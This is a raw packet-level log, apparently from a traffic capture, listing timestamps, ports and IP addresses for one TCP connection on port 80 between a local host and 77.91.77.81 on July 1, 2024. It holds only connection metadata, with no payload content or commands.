Jul 1, 2024 07:20:52.017347097 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017354012 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.017375946 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.017515898 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017533064 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017543077 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017551899 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.017554998 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017565966 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017570972 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.017580986 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017591953 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017608881 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.017627001 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.017863035 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017904997 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017915010 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017937899 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.017961979 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.018004894 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.018016100 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.018030882 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.018052101 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.018080950 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.018088102 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.018121958 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.040965080 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.040976048 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.040986061 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.041060925 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.041084051 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.041094065 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.041102886 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.041114092 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.041152000 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.041237116 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.041245937 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.041254997 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.041265965 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.041275024 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.041284084 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.041321039 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.041506052 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.041515112 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.041526079 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.041548967 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.041579008 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.075576067 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.075589895 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.075601101 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.075620890 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.075643063 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.075690985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.075701952 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.075711966 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.075740099 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.075845957 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.075891972 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.076994896 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077006102 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077018023 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077027082 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077044010 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.077060938 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.077167034 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077240944 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077250004 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077260017 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077271938 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077285051 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.077323914 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.077508926 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077522993 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077544928 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.077570915 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.077673912 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077686071 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077697039 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077704906 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.077714920 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.077729940 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.077764034 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.106895924 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.106908083 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.106918097 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.106930017 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.106939077 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.106954098 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.107000113 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.107019901 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.107038975 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.107048035 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.107053041 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.107084036 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.108510971 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.108522892 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.108572006 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.108577967 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.108582973 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.108603954 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.108633041 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.108684063 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.108700991 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.108711004 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.108731031 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.108743906 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.108766079 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.108802080 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.108817101 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.108827114 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.108855963 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.108875990 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.108896017 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.108910084 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.108925104 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.108942986 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.108959913 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109004021 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109014034 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109041929 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109071970 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109081984 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109091997 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109102964 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109110117 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109143972 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109244108 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109255075 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109265089 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109272957 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109282017 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109282970 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109307051 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109338045 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109359026 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109368086 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109376907 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109401941 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109428883 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109464884 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109482050 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109492064 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109500885 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109512091 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109540939 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109546900 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109580994 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109596014 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109606981 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109632969 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109651089 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109678030 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109688997 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109699011 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109709978 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109730959 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109786034 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109795094 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109812021 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109819889 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109821081 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109842062 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109853029 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109885931 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109915972 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109925985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109942913 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.109967947 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.109968901 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110019922 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110030890 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110039949 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110052109 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110081911 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110196114 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110205889 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110214949 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110224962 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110234976 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110235929 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110246897 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110260963 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110279083 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110421896 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110430956 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110436916 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110440969 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110451937 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110461950 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110476017 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110512018 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110588074 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110599041 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110613108 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110618114 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110622883 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110626936 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110629082 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110651016 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110667944 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110786915 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110796928 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110807896 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110816002 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110829115 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110865116 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110897064 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110929966 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.110955000 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110972881 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.110982895 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.111004114 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.111032963 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.111042976 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.111052990 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.111064911 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.111066103 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.111084938 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.111113071 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.111126900 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.111216068 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.134016991 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134030104 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134041071 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134064913 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134076118 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134087086 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134107113 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.134150028 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134160995 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134166956 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.134190083 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.134335995 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134349108 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134361029 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134377956 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.134393930 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.134457111 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134468079 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134478092 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134488106 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134504080 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.134510040 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.134546041 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.168495893 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.168509007 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.168520927 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.168548107 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.168555021 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.168560028 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.168580055 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.168591022 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.168607950 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.168631077 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.168663025 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.168701887 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.170108080 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170172930 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170201063 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170212030 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170217991 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.170249939 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.170277119 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170289040 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170325041 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.170371056 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170382977 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170423985 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.170444012 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170450926 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170461893 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170505047 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.170556068 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170562029 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170572996 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.170619965 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.200114012 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.200119972 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.200134039 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.200201035 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.200210094 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.200232029 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.200263023 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.200268030 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.200361013 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.201493979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201539040 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201544046 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201574087 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.201598883 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.201622009 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201674938 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.201688051 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201702118 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201708078 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201750040 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201761961 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.201807976 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201814890 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201826096 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.201847076 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201865911 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.201905966 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.201917887 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201937914 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201942921 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.201948881 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202007055 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.202007055 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.202023029 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202070951 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202078104 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202105999 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.202152967 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.202156067 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202162981 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202173948 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202260971 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.202280045 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202285051 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202296019 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202302933 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202397108 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.202397108 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.202414036 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202419043 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202430010 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202434063 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202440023 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202445984 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202455997 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202482939 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.202496052 CEST	49714	80	192.168.2.6	77.91.77.81
